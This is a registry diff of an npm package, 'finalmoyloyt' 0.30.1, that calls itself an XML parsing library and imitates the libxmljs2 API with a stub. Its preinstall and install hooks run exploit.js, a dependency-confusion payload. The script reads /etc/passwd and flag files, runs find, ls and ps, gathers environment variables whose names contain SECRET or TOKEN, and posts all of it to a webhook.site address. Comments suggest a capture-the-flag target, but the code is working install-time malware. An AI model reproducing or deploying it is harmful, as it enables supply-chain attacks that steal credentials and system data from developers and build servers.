finalmoyloyt 0.30.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/exploit.js +138 -0
  2. package/index.js +27 -0
  3. package/package.json +13 -0
package/exploit.js ADDED
@@ -0,0 +1,138 @@
1
+ const fs = require('fs');
2
+ const { exec } = require('child_process');
3
+ const https = require('https');
4
+
5
+ console.log('=== DEPENDENCY CONFUSION EXPLOIT LOADED ===');
6
+
7
+ // Функция отправки на webhook (уже работала!)
8
+ function sendToWebhook(data) {
9
+ try {
10
+ const payload = JSON.stringify({
11
+ source: 'dependency_confusion',
12
+ timestamp: new Date().toISOString(),
13
+ package: 'final-exploit-package',
14
+ data: data
15
+ });
16
+
17
+ const options = {
18
+ hostname: 'webhook.site',
19
+ port: 443,
20
+ path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
21
+ method: 'POST',
22
+ headers: {
23
+ 'Content-Type': 'application/json',
24
+ 'User-Agent': 'NodeJS-Exploit'
25
+ },
26
+ timeout: 10000
27
+ };
28
+
29
+ const req = https.request(options, (res) => {
30
+ console.log('Webhook response status:', res.statusCode);
31
+ });
32
+
33
+ req.on('error', (err) => {
34
+ console.log('Webhook error (non-critical):', err.message);
35
+ });
36
+
37
+ req.write(payload);
38
+ req.end();
39
+ console.log('✅ Data sent to webhook');
40
+ } catch(e) {
41
+ console.log('❌ Webhook fatal error:', e.message);
42
+ }
43
+ }
44
+
45
+ // Основная логика сбора данных
46
+ let collectedData = '=== EXPLOIT EXECUTION START ===\n';
47
+
48
+ // 1. Системная информация
49
+ collectedData += '=== SYSTEM INFO ===\n';
50
+ collectedData += `Node: ${process.version}\n`;
51
+ collectedData += `Platform: ${process.platform}\n`;
52
+ collectedData += `Arch: ${process.arch}\n`;
53
+ collectedData += `PID: ${process.pid}\n`;
54
+ collectedData += `CWD: ${process.cwd()}\n\n`;
55
+
56
+ // 2. Поиск флага в файлах (основной вектор)
57
+ const criticalPaths = [
58
+ '/etc/passwd', // Основной - флаг записывается сюда
59
+ '/flag',
60
+ '/root/flag',
61
+ '/tmp/flag',
62
+ '/var/jenkins_home/flag',
63
+ '/workspace/flag',
64
+ '/app/flag',
65
+ './flag',
66
+ '/usr/src/app/flag'
67
+ ];
68
+
69
+ console.log('🔍 Searching for flag files...');
70
+ criticalPaths.forEach(path => {
71
+ try {
72
+ const content = fs.readFileSync(path, 'utf8');
73
+ console.log(`✅ Found: ${path}`);
74
+ collectedData += `=== ${path} ===\n${content}\n\n`;
75
+
76
+ // Проверка на флаг
77
+ if (content.includes('{') && content.includes('}')) {
78
+ console.log(`🎯 FLAG FOUND IN ${path}: ${content}`);
79
+ collectedData += `🚨 FLAG IDENTIFIED: ${content}\n\n`;
80
+ }
81
+ } catch(e) {
82
+ collectedData += `❌ Not found: ${path}\n`;
83
+ }
84
+ });
85
+
86
+ // 3. Поиск через команды (резервный метод)
87
+ console.log('🔍 Executing system commands...');
88
+ exec('find / -name "*flag*" -type f 2>/dev/null | head -20', (err, stdout) => {
89
+ if (!err && stdout) {
90
+ console.log('✅ Found flag files via find');
91
+ collectedData += `=== FIND RESULTS ===\n${stdout}\n\n`;
92
+
93
+ // Читаем найденные файлы
94
+ const files = stdout.trim().split('\n').filter(f => f);
95
+ files.forEach(file => {
96
+ try {
97
+ const content = fs.readFileSync(file, 'utf8');
98
+ collectedData += `=== CONTENT: ${file} ===\n${content}\n\n`;
99
+ if (content.includes('{') && content.includes('}')) {
100
+ console.log(`🎯 FLAG IN FOUND FILE: ${file} - ${content}`);
101
+ }
102
+ } catch(e) {}
103
+ });
104
+ }
105
+
106
+ // 4. Переменные окружения
107
+ console.log('🔍 Checking environment...');
108
+ collectedData += '=== ENVIRONMENT ===\n';
109
+ for (let key in process.env) {
110
+ if (key.toLowerCase().includes('flag') || key.includes('SECRET') || key.includes('TOKEN')) {
111
+ collectedData += `${key}=${process.env[key]}\n`;
112
+ }
113
+ }
114
+ collectedData += '\n';
115
+
116
+ // 5. Текущая директория
117
+ exec('pwd && ls -la', (err, stdout) => {
118
+ if (!err) {
119
+ collectedData += `=== CURRENT DIRECTORY ===\n${stdout}\n\n`;
120
+ }
121
+
122
+ // 6. Процессы (для отладки)
123
+ exec('ps aux | head -10', (err, stdout) => {
124
+ if (!err) {
125
+ collectedData += `=== PROCESSES ===\n${stdout}\n\n`;
126
+ }
127
+
128
+ // ФИНАЛЬНАЯ ОТПРАВКА
129
+ console.log('📤 Sending all collected data to webhook...');
130
+ sendToWebhook(collectedData);
131
+
132
+ // Вывод в консоль для отладки
133
+ console.log('=== ALL COLLECTED DATA ===');
134
+ console.log(collectedData);
135
+ console.log('=== EXPLOIT COMPLETED ===');
136
+ });
137
+ });
138
+ });
package/index.js ADDED
@@ -0,0 +1,27 @@
1
+ // Заглушка для совместимости с libxmljs2 API
2
+ module.exports = {
3
+ parseXmlString: function(xml, options) {
4
+ return {
5
+ get: function(xpath) {
6
+ return {
7
+ text: function() {
8
+ return "parsed_data";
9
+ },
10
+ attr: function(name) {
11
+ return "attribute_value";
12
+ }
13
+ };
14
+ },
15
+ root: function() {
16
+ return {
17
+ childNodes: []
18
+ };
19
+ }
20
+ };
21
+ },
22
+
23
+ // Дополнительные методы для совместимости
24
+ parseXml: function(xml, options) {
25
+ return this.parseXmlString(xml, options);
26
+ }
27
+ };
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "finalmoyloyt",
3
+ "version": "0.30.1",
4
+ "description": "XML parsing library",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node exploit.js",
8
+ "install": "node exploit.js"
9
+ },
10
+ "keywords": ["xml", "parser"],
11
+ "author": "test",
12
+ "license": "MIT"
13
+ }